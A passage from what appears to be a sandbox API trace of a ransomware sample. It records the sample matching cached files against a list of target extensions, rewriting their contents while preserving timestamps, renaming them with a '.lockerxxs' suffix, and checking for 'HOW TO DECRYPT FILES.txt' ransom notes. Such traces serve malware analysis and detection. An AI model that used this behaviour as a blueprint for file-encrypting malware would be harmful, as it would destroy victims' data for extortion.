Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png" [0084.537] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png." [0084.537] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png.lockerxxs" [0084.537] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbih5h[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.538] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3a2 [0084.538] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x51256470, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x51256470, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x51256470, dwHighDateTime=0x1d2dd9e)) returned 1 [0084.538] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.538] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x37c, lpOverlapped=0x0) returned 1 [0084.540] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png") returned="BBih5H[1].png" [0084.540] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.540] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x37c, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x37c, lpOverlapped=0x0) returned 1 [0084.540] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.540] CloseHandle (hObject=0xa4) returned 1 [0084.541] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbih5h[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbih5h[1].png.lockerxxs")) returned 1 [0084.541] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe4ca790, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe4ca790, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbe4ca790, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBmUxRK[1].png", cAlternateFileName="BBMUXR~1.PNG")) returned 1 [0084.541] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.542] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBmUxRK[1].png") returned 1 [0084.542] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBmUxRK[1].png") returned 1 [0084.542] lstrcmpiA (lpString1="", lpString2="BBmUxRK[1].png") returned -1 [0084.542] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png") returned="BBih5H[1].png" [0084.542] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.542] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.542] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.542] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.542] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBmUxRK[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png" [0084.542] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png", pszSpec="*.ems") returned 0 [0084.542] lstrlenA (lpString="*.ems") returned 5 [0084.542] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png", pszSpec="*.db") returned 0 [0084.542] lstrlenA (lpString="*.db") returned 4 [0084.542] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png", pszSpec="*.dbf") returned 0 [0084.542] lstrlenA (lpString="*.dbf") returned 5 [0084.542] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png", pszSpec="*.myox") returned 0 [0084.542] lstrlenA (lpString="*.myox") returned 6 [0084.542] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png", pszSpec="*.myo") returned 0 [0084.542] lstrlenA (lpString="*.myo") returned 5 [0084.543] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png", pszSpec="*.qbw") returned 0 [0084.543] lstrlenA (lpString="*.qbw") returned 5 [0084.543] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png", pszSpec="*.qbb") returned 0 [0084.543] lstrlenA (lpString="*.qbb") returned 5 [0084.543] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png", pszSpec="*.qbm") returned 0 [0084.543] lstrlenA (lpString="*.qbm") returned 5 [0084.543] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png", pszSpec="*.qbo") returned 0 [0084.543] lstrlenA (lpString="*.qbo") returned 5 [0084.543] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png", pszSpec="*.qbx") returned 0 [0084.543] lstrlenA (lpString="*.qbx") returned 5 [0084.543] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png", pszSpec="*.qba") returned 0 [0084.543] lstrlenA (lpString="*.qba") returned 5 [0084.543] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png", pszSpec="*.qby") returned 0 [0084.543] lstrlenA (lpString="*.qby") returned 5 [0084.543] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png", pszSpec="*.qbj") returned 0 [0084.543] lstrlenA (lpString="*.qbj") returned 5 [0084.543] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png", pszSpec="*.ofx") returned 0 [0084.543] lstrlenA (lpString="*.ofx") returned 5 [0084.543] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png", pszSpec="*.qif") returned 0 [0084.543] lstrlenA (lpString="*.qif") returned 5 [0084.543] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png", pszSpec="*.mye") returned 0 [0084.543] lstrlenA (lpString="*.mye") returned 5 [0084.543] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png", pszSpec="*.mbox") returned 0 [0084.543] lstrlenA (lpString="*.mbox") returned 6 [0084.544] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png", pszSpec="*.eml") returned 0 [0084.544] lstrlenA (lpString="*.eml") returned 5 [0084.544] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png", pszSpec="*.pst") returned 0 [0084.544] lstrlenA (lpString="*.pst") returned 5 [0084.544] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png", pszSpec="*.ost") returned 0 [0084.544] lstrlenA (lpString="*.ost") returned 5 [0084.544] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png", pszSpec="*.idx") returned 0 [0084.544] lstrlenA (lpString="*.idx") returned 5 [0084.544] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png", pszSpec="*.dbx") returned 0 [0084.544] lstrlenA (lpString="*.dbx") returned 5 [0084.544] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png", pszSpec="*.sql") returned 0 [0084.544] lstrlenA (lpString="*.sql") returned 5 [0084.544] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png", pszSpec="*.mdb") returned 0 [0084.544] lstrlenA (lpString="*.mdb") returned 5 [0084.544] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png", pszSpec="*.fdb") returned 0 [0084.544] lstrlenA (lpString="*.fdb") returned 5 [0084.544] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png", pszSpec="*.wab") returned 0 [0084.544] lstrlenA (lpString="*.wab") returned 5 [0084.544] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png", pszSpec="*.dat") returned 0 [0084.544] lstrlenA (lpString="*.dat") returned 5 [0084.545] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png", pszSpec="*.txt") returned 0 [0084.545] lstrlenA (lpString="*.txt") returned 5 [0084.545] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png", pszSpec="*.jpeg") returned 0 [0084.545] lstrlenA (lpString="*.jpeg") returned 6 [0084.545] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png", pszSpec="*.jpg") returned 0 [0084.545] lstrlenA (lpString="*.jpg") returned 5 [0084.545] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png", pszSpec="*.png") returned 1 [0084.545] lstrlenA (lpString="*.png") returned 5 [0084.545] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png" [0084.545] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png" [0084.545] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png." [0084.545] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png.lockerxxs" [0084.545] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbmuxrk[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.546] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x24c [0084.546] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xbe4ca790, dwHighDateTime=0x1d2faf2), lpLastAccessTime=0x407536*(dwLowDateTime=0xbe4ca790, dwHighDateTime=0x1d2faf2), lpLastWriteTime=0x40753e*(dwLowDateTime=0xbe4ca790, dwHighDateTime=0x1d2faf2)) returned 1 [0084.546] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.546] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x226, lpOverlapped=0x0) returned 1 [0084.548] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png") returned="BBmUxRK[1].png" [0084.548] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.548] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x226, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x226, lpOverlapped=0x0) returned 1 [0084.548] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.549] CloseHandle (hObject=0xa4) returned 1 [0084.549] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbmuxrk[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbmuxrk[1].png.lockerxxs")) returned 1 [0084.550] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x459f9950, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x459f9950, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x459f9950, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x398, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBndhJA[1].png", cAlternateFileName="BBNDHJ~1.PNG")) returned 1 [0084.550] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.550] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBndhJA[1].png") returned 1 [0084.550] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBndhJA[1].png") returned 1 [0084.550] lstrcmpiA (lpString1="", lpString2="BBndhJA[1].png") returned -1 [0084.550] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png") returned="BBmUxRK[1].png" [0084.550] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.550] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.550] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.550] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.550] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBndhJA[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png" [0084.550] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png", pszSpec="*.ems") returned 0 [0084.550] lstrlenA (lpString="*.ems") returned 5 [0084.550] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png", pszSpec="*.db") returned 0 [0084.550] lstrlenA (lpString="*.db") returned 4 [0084.550] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 